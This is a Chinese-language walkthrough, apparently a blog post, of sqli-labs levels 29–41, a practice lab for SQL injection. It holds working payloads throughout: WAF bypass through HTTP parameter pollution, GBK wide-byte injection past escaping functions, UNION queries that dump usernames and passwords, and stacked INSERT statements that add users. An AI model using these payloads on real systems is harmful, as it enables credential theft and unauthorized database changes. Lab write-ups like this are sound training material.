前言
人之所以痛苦,就因为他们恨得太多,爱的太少。
Less-29

进入靶场,这一关提示The site protected by world's best firewall,说站点被世界上最好的防火墙保护,,这看来是有WAF了,直接来看源码,关键代码片段如下:
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
这里是基于白名单来实现WAF,只允许数字,输入其他特殊字符,就会跳转到hacked.php,提示攻击被拦截,如下图:

我们可以通过再多传入一个参数来绕过WAF。举个例子:假如传参是login.php?id=1',后面的单引号就会被WAF拦截,但如果是login.php?id=1&&id=1',这样就可以绕过WAF,原理可以参考这篇文章:MYSQL注入天书之服务器(两层)架构,大致概括下是:服务器端有两个部分,一是tomcat的jsp型服务器,用作数据过滤和处理,也就是WAF,二是apache的php服务器,真正提供web服务的是php服务器。用户访问网站是访问到tomcat,然后tomcat再向apache请求数据,当用户的请求被WAF检测到带有恶意攻击的行为,请求数据就会被WAF拦截,不会请求到apache。
但是当我们传入两个参数时,WAF所在的tomcat(jsp)服务器就只会解析第一个参数,而apache(php)则会解析最后一个参数,返回客户端的数据也是apache(php)所处理的数据。正是因为解析参数的不同,我们此处可以利用该原理绕过WAF。这种手法也叫HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。

以上图片为大多数服务器对于参数解析的介绍。
绕过了WAF就可以直接爆数据了,示例payload如下:
http://192.168.31.12/sqli-labs/Less-29/login.php?id=1&&id=0' union select 1,username,password from users limit 0,1--+
Less-30
上一关的双引号版本,示例payload如下:
http://192.168.31.12/sqli-labs/Less-30/login.php?id=1&&id=0" union select 1,username,password from users limit 0,1--+
Less-31
还是一样的,29关的单引号+括号版本,示例payload如下:
http://192.168.31.12/sqli-labs/Less-31/login.php?id=1&&id=1") union select 1,username,password from users limit 0,1--+
Less-32
先加个单引号,如下图:

可以看到单引号前面加了一个转义字符反斜杠\,后面跟的单引号被转义了,后端源码如下:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
可以看到单引号,双引号,反斜杠都会被转义。要绕过这个反斜杠,涉及到宽字节注入。
宽字节注入原理:现在大多数的网站对于SQL注入都做了一定的方法,例如使用一些Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能。这些函数都是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义。在编码中,gbk编码占用2个字符,ascll占用1个字符,攻击者恶意构造,把ascll字符“吃掉”,就能进行下一步攻击。
所以宽字节注入只适用于数据库为gbk编码,且使用了上述一些转义函数。那么再来看这一关的后端源码,如下图:

可以看到编码被设置为了gbk,那么很简单了。我们构造如下payload:
http://192.168.31.12/sqli-labs/Less-32/?id=1%df'

可以看到网页是报错了,也就意味着绕过了反斜杠。解析过程:网页将我们的参数传入到后台,经过addslashes转义后在前面加了个反斜杠\,变为id=1%df%5c%27,再带入MySQL使用gbk编码处理,%df和%5c共同组成一个汉字字符-“運”,这样就变为了id=1運',成功“吃掉”了反斜杠\,接着我们后面输入的单引号就能够引起数据库语法错误了。
绕过了单引号,后面就是正常联合查询注入,示例payload如下:
http://192.168.31.12/sqli-labs/Less-32/?id=1%df' union select 1,username,password from users limit 0,1--+

Less-33
和上一题一模一样的payload:
http://192.168.31.12/sqli-labs/Less-33/?id=1%df' union select 1,username,password from users limit 0,1--+
Less-34
这题也是宽字节注入,只不过变成了POST方式,payload如下:
admin%df%27 or 1=1#
这里有一点注意的是,直接在登录框输入payload是不会生效的,因为浏览器会把%df前面的百分号%编码为%25。
Less-35
这一关虽然也有addslashes过滤,gbk编码,不过却是一个数字型注入,所以不需要管过滤,示例payload如下:
http://192.168.31.12/sqli-labs/Less-35/?id=0 union select 1,username,password from users limit 0,1--+
Less-36
这一关是用了mysql_real_escape_string函数做转义,还是用宽字节注入绕过,示例payload如下:
http://192.168.31.12/sqli-labs/Less-36/?id=1%df' union select 1,username,password from users limit 0,1--+
Less-37
还是一样的,宽字节注入,示例payload如下:
admin%df' or 1=1#
admin%df' union select username,password from users limit 0,1#

Less-38

这一题可以正常注入,示例payload如下:
http://192.168.31.12/sqli-labs/Less-38/?id=0' union select 1,username,password from users limit 0,1--+
主要需要注意一下后端使用了mysqli_multi_query()函数,这个函数主要用来执行一个或多个针对数据库的查询,所以这里还可以使用堆叠注入,可以执行多条SQL语句。我们尝试通过堆叠注入向数据库插入一条用户数据,payload如下:
http://192.168.31.12/sqli-labs/Less-38/?id=1';insert into users(id,username,password)values(666,'admin666','admin666')--+
插入了一条用户名密码都为admin666的数据,打开数据库验证一下是否插入成功,如下图:


可以看到是多出一条数据的,证明注入是成功的。当然,也可以执行其他语句,反正都是自己向后任意拼接就行。
Less-39
这里也是堆叠注入,与上一题区别在于是数字型。
http://192.168.31.12/sqli-labs/Less-39/?id=1;insert into users(id,username,password)values(666,'admin666','admin666')--+
Less-40
还是堆叠注入,区别在于关掉了报错,且参数是单引号+括号包裹,示例payload如下:
http://192.168.31.12/sqli-labs/Less-40/?id=1');insert into users(id,username,password)values(666,'admin666','admin666')--+
Less-41
这几关都没什么区别,就是改了闭合方式,多尝试几次就出来了,示例payload如下:
http://192.168.31.12/sqli-labs/Less-41/?id=1;insert into users(id,username,password)values(666,'admin666','admin666')--+
结尾
先写到这里吧,再之后就是第四部分的最后十个挑战关卡了,其实也都差不多,基本语句会了就是思路问题了。
Comments | NOTHING